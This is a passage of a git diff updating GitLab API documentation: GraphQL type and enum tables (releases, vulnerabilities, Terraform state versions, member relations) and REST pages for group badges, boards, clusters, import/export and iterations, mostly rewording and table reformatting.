+| `release` | Release | The deleted release. |
+
### ReleaseEvidence
Evidence for a release.
@@ -2596,6 +2858,16 @@ Represents the source code attached to a release in a particular format.
| `format` | String | Format of the source |
| `url` | String | Download URL of the source |
+### ReleaseUpdatePayload
+
+Autogenerated return type of ReleaseUpdate.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `release` | Release | The release after mutation. |
+
### RemoveAwardEmojiPayload
Autogenerated return type of RemoveAwardEmoji.
@@ -2947,7 +3219,7 @@ Represents a snippet entry.
| Field | Type | Description |
| ----- | ---- | ----------- |
| `author` | User | The owner of the snippet |
-| `blob` **{warning-solid}** | SnippetBlob! | **Deprecated:** Use `blobs`. Deprecated in 13.3 |
+| `blob` **{warning-solid}** | SnippetBlob! | **Deprecated:** Use `blobs`. Deprecated in 13.3. |
| `blobs` | SnippetBlobConnection | Snippet blobs |
| `createdAt` | Time! | Timestamp this snippet was created |
| `description` | String | Description of the snippet |
@@ -3102,8 +3374,10 @@ Autogenerated return type of TerraformStateUnlock.
| ----- | ---- | ----------- |
| `createdAt` | Time! | Timestamp the version was created |
| `createdByUser` | User | The user that created this version |
+| `downloadPath` | String | URL for downloading the version's JSON file |
| `id` | ID! | ID of the Terraform state version |
| `job` | CiJob | The job that created this version |
+| `serial` | Int | Serial number of the version |
| `updatedAt` | Time! | Timestamp the version was updated |
### TerraformStateVersionRegistry
@@ -3215,7 +3489,7 @@ Autogenerated return type of TodoRestoreMany.
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `todos` | Todo! => Array | Updated todos |
-| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use todos. Deprecated in 13.2 |
+| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use todos. Deprecated in 13.2. |
### TodoRestorePayload
@@ -3236,7 +3510,7 @@ Autogenerated return type of TodosMarkAllDone.
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `todos` | Todo! => Array | Updated todos |
-| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use todos. Deprecated in 13.2 |
+| `updatedIds` **{warning-solid}** | TodoID! => Array | **Deprecated:** Use todos. Deprecated in 13.2. |
### ToggleAwardEmojiPayload
@@ -3315,6 +3589,16 @@ Autogenerated return type of UpdateBoard.
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+### UpdateComplianceFrameworkPayload
+
+Autogenerated return type of UpdateComplianceFramework.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `complianceFramework` | ComplianceFramework | The compliance framework after mutation |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+
### UpdateContainerExpirationPolicyPayload
Autogenerated return type of UpdateContainerExpirationPolicy.
@@ -3325,6 +3609,16 @@ Autogenerated return type of UpdateContainerExpirationPolicy.
| `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy after mutation |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+### UpdateDevopsAdoptionSegmentPayload
+
+Autogenerated return type of UpdateDevopsAdoptionSegment.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `segment` | DevopsAdoptionSegment | The segment after mutation |
+
### UpdateEpicPayload
Autogenerated return type of UpdateEpic.
@@ -3363,7 +3657,7 @@ Autogenerated return type of UpdateIteration.
| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-| `iteration` | Iteration | The updated iteration |
+| `iteration` | Iteration | Updated iteration. |
### UpdateNotePayload
@@ -3403,12 +3697,15 @@ Autogenerated return type of UpdateSnippet.
| `assignedMergeRequests` | MergeRequestConnection | Merge Requests assigned to the user |
| `authoredMergeRequests` | MergeRequestConnection | Merge Requests authored by the user |
| `avatarUrl` | String | URL of the user's avatar |
-| `email` | String | User email |
-| `groupCount` | Int | Group count for the user. Available only when feature flag `user_group_counts` is enabled |
+| `email` **{warning-solid}** | String | **Deprecated:** Use public_email. Deprecated in 13.7. |
+| `groupCount` | Int | Group count for the user Available only when feature flag `user_group_counts` is enabled. |
| `groupMemberships` | GroupMemberConnection | Group memberships of the user |
| `id` | ID! | ID of the user |
+| `location` | String | The location of the user. |
| `name` | String! | Human-readable name of the user |
| `projectMemberships` | ProjectMemberConnection | Project memberships of the user |
+| `publicEmail` | String | User's public email |
+| `reviewRequestedMergeRequests` | MergeRequestConnection | Merge Requests assigned to the user for review |
| `snippets` | SnippetConnection | Snippets authored by the user |
| `starredProjects` | ProjectConnection | Projects starred by the user |
| `state` | UserState! | State of the user |
@@ -3465,17 +3762,23 @@ Represents a vulnerability.
| Field | Type | Description |
| ----- | ---- | ----------- |
+| `confirmedAt` | Time | Timestamp of when the vulnerability state was changed to confirmed |
| `description` | String | Description of the vulnerability |
| `detectedAt` | Time! | Timestamp of when the vulnerability was first detected |
| `discussions` | DiscussionConnection! | All discussions on this noteable |
+| `dismissedAt` | Time | Timestamp of when the vulnerability state was changed to dismissed |
+| `externalIssueLinks` | VulnerabilityExternalIssueLinkConnection! | List of external issue links related to the vulnerability |
+| `hasSolutions` | Boolean | Indicates whether there is a solution available for this vulnerability. |
| `id` | ID! | GraphQL ID of the vulnerability |
| `identifiers` | VulnerabilityIdentifier! => Array | Identifiers of the vulnerability. |
| `issueLinks` | VulnerabilityIssueLinkConnection! | List of issue links related to the vulnerability |
| `location` | VulnerabilityLocation | Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability |
+| `mergeRequest` | MergeRequest | Merge request that fixes the vulnerability. |
| `notes` | NoteConnection! | All notes on this noteable |
| `primaryIdentifier` | VulnerabilityIdentifier | Primary identifier of the vulnerability. |
| `project` | Project | The project on which the vulnerability was found |
| `reportType` | VulnerabilityReportType | Type of the security report that found the vulnerability (SAST, DEPENDENCY_SCANNING, CONTAINER_SCANNING, DAST, SECRET_DETECTION, COVERAGE_FUZZING, API_FUZZING) |
+| `resolvedAt` | Time | Timestamp of when the vulnerability state was changed to resolved |
| `resolvedOnDefaultBranch` | Boolean! | Indicates whether the vulnerability is fixed on the default branch or not |
| `scanner` | VulnerabilityScanner | Scanner metadata for the vulnerability. |
| `severity` | VulnerabilitySeverity | Severity of the vulnerability (INFO, UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL) |
@@ -3505,6 +3808,35 @@ Autogenerated return type of VulnerabilityDismiss.
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `vulnerability` | Vulnerability | The vulnerability after dismissal |
+### VulnerabilityExternalIssueLink
+
+Represents an external issue link of a vulnerability.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `externalIssue` | ExternalIssue | The external issue attached to the issue link |
+| `id` | VulnerabilitiesExternalIssueLinkID! | GraphQL ID of the external issue link |
+| `linkType` | VulnerabilityExternalIssueLinkType! | Type of the external issue link |
+
+### VulnerabilityExternalIssueLinkCreatePayload
+
+Autogenerated return type of VulnerabilityExternalIssueLinkCreate.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `externalIssueLink` | VulnerabilityExternalIssueLink | The created external issue link. |
+
+### VulnerabilityExternalIssueLinkDestroyPayload
+
+Autogenerated return type of VulnerabilityExternalIssueLinkDestroy.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+
### VulnerabilityIdentifier
Represents a vulnerability identifier.
@@ -3599,6 +3931,7 @@ Check permissions for the current user on a vulnerability.
| Field | Type | Description |
| ----- | ---- | ----------- |
| `adminVulnerability` | Boolean! | Indicates the user can perform `admin_vulnerability` on this resource |
+| `adminVulnerabilityExternalIssueLink` | Boolean! | Indicates the user can perform `admin_vulnerability_external_issue_link` on this resource |
| `adminVulnerabilityIssueLink` | Boolean! | Indicates the user can perform `admin_vulnerability_issue_link` on this resource |
| `createVulnerability` | Boolean! | Indicates the user can perform `create_vulnerability` on this resource |
| `createVulnerabilityExport` | Boolean! | Indicates the user can perform `create_vulnerability_export` on this resource |
@@ -3724,10 +4057,19 @@ Values for sorting alerts.
| `UPDATED_DESC` | Updated at descending order |
| `UPDATED_TIME_ASC` | Created time by ascending order |
| `UPDATED_TIME_DESC` | Created time by descending order |
-| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5 |
-| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5 |
-| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5 |
-| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5 |
+| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. |
+| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. |
+| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. |
+| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. |
+
+### AlertManagementDomainFilter
+
+Filters the alerts based on given domain.
+
+| Value | Description |
+| ----- | ----------- |
+| `operations` | Alerts for operations domain |
+| `threat_monitoring` | Alerts for threat monitoring domain |
### AlertManagementIntegrationType
@@ -3781,6 +4123,15 @@ Types of blob viewers.
| `rich` | |
| `simple` | |
+### CiConfigStatus
+
+Values for YAML processor result.
+
+| Value | Description |
+| ----- | ----------- |
+| `INVALID` | The configuration file is not valid |
+| `VALID` | The configuration file is valid |
+
### CommitActionMode
Mode of a commit action.
@@ -3863,6 +4214,7 @@ Status of a container repository.
| ----- | ----------- |
| `FAILED_VALIDATION` | Site validation process finished but failed |
| `INPROGRESS_VALIDATION` | Site validation process is in progress |
+| `NONE` | No site validation exists |
| `PASSED_VALIDATION` | Site validation process finished successfully |
| `PENDING_VALIDATION` | Site validation process has not started |
@@ -3952,6 +4304,16 @@ Epic ID wildcard values.
| `ANY` | Any epic is assigned |
| `NONE` | No epic is assigned |
+### GroupMemberRelation
+
+Group member relation.
+
+| Value | Description |
+| ----- | ----------- |
+| `DESCENDANTS` | Descendants members |
+| `DIRECT` | Direct members |
+| `INHERITED` | Inherited members |
+
### HealthStatus
Health status of an issue or epic.
@@ -4012,10 +4374,10 @@ Values for sorting issues.
| `UPDATED_DESC` | Updated at descending order |
| `WEIGHT_ASC` | Weight by ascending order |
| `WEIGHT_DESC` | Weight by descending order |
-| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5 |
-| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5 |
-| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5 |
-| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5 |
+| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. |
+| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. |
+| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. |
+| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. |
### IssueState
@@ -4066,8 +4428,41 @@ Iteration ID wildcard values.
| Value | Description |
| ----- | ----------- |
| `ANY` | An iteration is assigned |
+| `CURRENT` | Current iteration |
| `NONE` | No iteration is assigned |
+### JobArtifactFileType
+
+| Value | Description |
+| ----- | ----------- |
+| `ACCESSIBILITY` | |
+| `API_FUZZING` | |
+| `ARCHIVE` | |
+| `BROWSER_PERFORMANCE` | |
+| `CLUSTER_APPLICATIONS` | |
+| `COBERTURA` | |
+| `CODEQUALITY` | |
+| `CONTAINER_SCANNING` | |
+| `COVERAGE_FUZZING` | |
+| `DAST` | |
+| `DEPENDENCY_SCANNING` | |
+| `DOTENV` | |
+| `JUNIT` | |
+| `LICENSE_MANAGEMENT` | |
+| `LICENSE_SCANNING` | |
+| `LOAD_PERFORMANCE` | |
+| `LSIF` | |
+| `METADATA` | |
+| `METRICS` | |
+| `METRICS_REFEREE` | |
+| `NETWORK_REFEREE` | |
+| `PERFORMANCE` | |
+| `REQUIREMENTS` | |
+| `SAST` | |
+| `SECRET_DETECTION` | |
+| `TERRAFORM` | |
+| `TRACE` | |
+
### ListLimitMetric
List limit metric setting.
@@ -4113,10 +4508,10 @@ Values for sorting merge requests.
| `PRIORITY_DESC` | Priority by descending order |
| `UPDATED_ASC` | Updated at ascending order |
| `UPDATED_DESC` | Updated at descending order |
-| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5 |
-| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5 |
-| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5 |
-| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5 |
+| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. |
+| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. |
+| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. |
+| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. |
### MergeRequestState
@@ -4208,6 +4603,17 @@ Values for sorting projects.
| `SUCCESS` | |
| `WAITING_FOR_RESOURCE` | |
+### ProjectMemberRelation
+
+Project member relation.
+
+| Value | Description |
+| ----- | ----------- |
+| `DESCENDANTS` | Descendants members |
+| `DIRECT` | Direct members |
+| `INHERITED` | Inherited members |
+| `INVITED_GROUPS` | Invited Groups members |
+
### RegistryState
State of a Geo registry.
@@ -4310,6 +4716,7 @@ State of a Sentry error.
| `CAMPFIRE_SERVICE` | |
| `CONFLUENCE_SERVICE` | |
| `CUSTOM_ISSUE_TRACKER_SERVICE` | |
+| `DATADOG_SERVICE` | |
| `DISCORD_SERVICE` | |
| `DRONE_CI_SERVICE` | |
| `EMAILS_ON_PUSH_SERVICE` | |
@@ -4359,10 +4766,10 @@ Common sort values.
| `CREATED_DESC` | Created at descending order |
| `UPDATED_ASC` | Updated at ascending order |
| `UPDATED_DESC` | Updated at descending order |
-| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5 |
-| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5 |
-| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5 |
-| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5 |
+| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. |
+| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. |
+| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. |
+| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. |
### TestReportState
@@ -4436,6 +4843,22 @@ Possible states of a user.
| `private` | |
| `public` | |
+### VulnerabilityExternalIssueLinkExternalTracker
+
+The external tracker of the external issue link related to a vulnerability.
+
+| Value | Description |
+| ----- | ----------- |
+| `JIRA` | Jira external tracker |
+
+### VulnerabilityExternalIssueLinkType
+
+The type of the external issue link related to a vulnerability.
+
+| Value | Description |
+| ----- | ----------- |
+| `CREATED` | Created link type |
+
### VulnerabilityGrade
The grade of the vulnerable project.
diff --git a/doc/api/graphql/sample_issue_boards.md b/doc/api/graphql/sample_issue_boards.md
index 27fd1f48aec..bddf1ea9a7e 100644
--- a/doc/api/graphql/sample_issue_boards.md
+++ b/doc/api/graphql/sample_issue_boards.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Identify issue boards with GraphQL
diff --git a/doc/api/group_activity_analytics.md b/doc/api/group_activity_analytics.md
index ea2527e6c4a..003c96b65fa 100644
--- a/doc/api/group_activity_analytics.md
+++ b/doc/api/group_activity_analytics.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Optimize
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group Activity Analytics API
diff --git a/doc/api/group_badges.md b/doc/api/group_badges.md
index e13b9633da9..7698fa9ba5f 100644
--- a/doc/api/group_badges.md
+++ b/doc/api/group_badges.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group badges API
@@ -10,15 +10,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Placeholder tokens
-Badges support placeholders that will be replaced in real time in both the link and image URL. The allowed placeholders are:
+Badges support placeholders that are replaced in real time in both the link and image URL. The allowed placeholders are:
-- **%{project_path}**: will be replaced by the project path.
-- **%{project_id}**: will be replaced by the project ID.
-- **%{default_branch}**: will be replaced by the project default branch.
-- **%{commit_sha}**: will be replaced by the last project's commit SHA.
+- **%{project_path}**: replaced by the project path.
+- **%{project_id}**: replaced by the project ID.
+- **%{default_branch}**: replaced by the project default branch.
+- **%{commit_sha}**: replaced by the last project's commit SHA.
-Because these endpoints aren't inside a project's context, the information used to replace the placeholders will be
-from the first group's project by creation date. If the group hasn't got any project the original URL with the placeholders will be returned.
+Because these endpoints aren't inside a project's context, the information used to replace the placeholders comes
+from the first group's project by creation date. If the group hasn't got any project the original URL with the placeholders is returned.
## List all badges of a group
diff --git a/doc/api/group_boards.md b/doc/api/group_boards.md
index 6158400f882..f982dad7962 100644
--- a/doc/api/group_boards.md
+++ b/doc/api/group_boards.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group Issue Boards API
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Every API call to group boards must be authenticated.
If a user is not a member of a group and the group is private, a `GET`
-request will result in `404` status code.
+request results in `404` status code.
## List all group issue boards in a group
@@ -76,7 +76,7 @@ Example response:
]
```
-Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) will see
+Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) see
different parameters, due to the ability to have multiple group boards.
Example response:
@@ -192,8 +192,8 @@ Example response:
}
```
-Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) will see
-different parameters, due to the ability to have multiple group issue boards.s
+Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) see
+different parameters, due to the ability to have multiple group issue boards.
Example response:
diff --git a/doc/api/group_clusters.md b/doc/api/group_clusters.md
index 27b76d1f0c0..f169c1829be 100644
--- a/doc/api/group_clusters.md
+++ b/doc/api/group_clusters.md
@@ -1,13 +1,18 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group clusters API
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30213) in GitLab 12.1.
+Similar to [project-level](../user/project/clusters/index.md) and
+[instance-level](../user/instance/clusters/index.md) Kubernetes clusters,
+group-level Kubernetes clusters allow you to connect a Kubernetes cluster to
+your group, enabling you to use the same cluster across multiple projects.
+
Users need at least [Maintainer](../user/permissions.md) access for the group to use these endpoints.
## List group clusters
@@ -20,9 +25,9 @@ GET /groups/:id/clusters
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| Attribute | Type | Required | Description |
+| --------- | -------------- | -------- | ----------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
Example request:
@@ -39,6 +44,8 @@ Example response:
"name":"cluster-1",
"domain":"example.com",
"created_at":"2019-01-02T20:18:12.563Z",
+ "managed": true,
+ "enabled": true,
"provider_type":"user",
"platform_type":"kubernetes",
"environment_scope":"*",
@@ -87,10 +94,10 @@ GET /groups/:id/clusters/:cluster_id
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
-| `cluster_id` | integer | yes | The ID of the cluster |
+| Attribute | Type | Required | Description |
+| ------------ | -------------- | -------- | ----------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `cluster_id` | integer | yes | The ID of the cluster |
Example request:
@@ -106,6 +113,8 @@ Example response:
"name":"cluster-1",
"domain":"example.com",
"created_at":"2019-01-02T20:18:12.563Z",
+ "managed": true,
+ "enabled": true,
"provider_type":"user",
"platform_type":"kubernetes",
"environment_scope":"*",
@@ -154,19 +163,19 @@ POST /groups/:id/clusters/user
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
-| `name` | string | yes | The name of the cluster |
-| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster |
-| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
-| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true |
-| `managed` | boolean | no | Determines if GitLab will manage namespaces and service accounts for this cluster, defaults to true |
-| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API |
-| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes |
-| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
-| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. |
-| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** |
+| Attribute | Type | Required | Description |
+| ---------------------------------------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `name` | string | yes | The name of the cluster |
+| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster |
+| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
+| `enabled` | boolean | no | Determines if cluster is active or not, defaults to `true` |
+| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster. Defaults to `true` |
+| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API |
+| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes |
+| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
+| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. |
+| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** |
Example request:
@@ -184,6 +193,8 @@ Example response:
"id":24,
"name":"cluster-5",
"created_at":"2019-01-03T21:53:40.610Z",
+ "managed": true,
+ "enabled": true,
"provider_type":"user",
"platform_type":"kubernetes",
"environment_scope":"*",
@@ -223,19 +234,21 @@ PUT /groups/:id/clusters/:cluster_id
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
-| `cluster_id` | integer | yes | The ID of the cluster |
-| `name` | string | no | The name of the cluster |
-| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster |
-| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
-| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API |
-| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes |
-| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
-| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** |
-
-NOTE: **Note:**
+| Attribute | Type | Required | Description |
+| ----------------------------------------- | -------------- | -------- | ------------------------------------------------------------------------------------------ |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `cluster_id` | integer | yes | The ID of the cluster |
+| `name` | string | no | The name of the cluster |
+| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster |
+| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
+| `enabled` | boolean | no | Determines if cluster is active or not |
+| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster |
+| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API |
+| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes |
+| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
+| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** |
+
+NOTE:
`name`, `api_url`, `ca_cert` and `token` can only be updated if the cluster was added
through the ["Add existing Kubernetes cluster"](../user/project/clusters/add_remove_clusters.md#add-existing-cluster) option or
through the ["Add existing cluster to group"](#add-existing-cluster-to-group) endpoint.
@@ -256,6 +269,8 @@ Example response:
"name":"new-cluster-name",
"domain":"new-domain.com",
"created_at":"2019-01-03T21:53:40.610Z",
+ "managed": true,
+ "enabled": true,
"provider_type":"user",
"platform_type":"kubernetes",
"environment_scope":"*",
@@ -304,10 +319,10 @@ DELETE /groups/:id/clusters/:cluster_id
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
-| `cluster_id` | integer | yes | The ID of the cluster |
+| Attribute | Type | Required | Description |
+| ------------ | -------------- | -------- | ----------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `cluster_id` | integer | yes | The ID of the cluster |
Example request:
diff --git a/doc/api/group_import_export.md b/doc/api/group_import_export.md
index 5677cb51c37..bf8c889b031 100644
--- a/doc/api/group_import_export.md
+++ b/doc/api/group_import_export.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group Import/Export API
@@ -92,7 +92,7 @@ by `@`. For example:
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "name=imported-group" --form "path=imported-group" --form "file=@/path/to/file" "https://gitlab.example.com/api/v4/groups/import"
```
-NOTE: **Note:**
+NOTE:
The maximum import file size can be set by the Administrator, default is 50MB.
As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](settings.md#change-application-settings) or the [Admin UI](../user/admin_area/settings/account_and_limit_settings.md).
diff --git a/doc/api/group_iterations.md b/doc/api/group_iterations.md
index eb6a99a430e..d96f0881088 100644
--- a/doc/api/group_iterations.md
+++ b/doc/api/group_iterations.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group iterations API **(STARTER)**
diff --git a/doc/api/group_labels.md b/doc/api/group_labels.md
index f11a4d8ccc9..65c28e80f0a 100644
--- a/doc/api/group_labels.md
+++ b/doc/api/group_labels.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
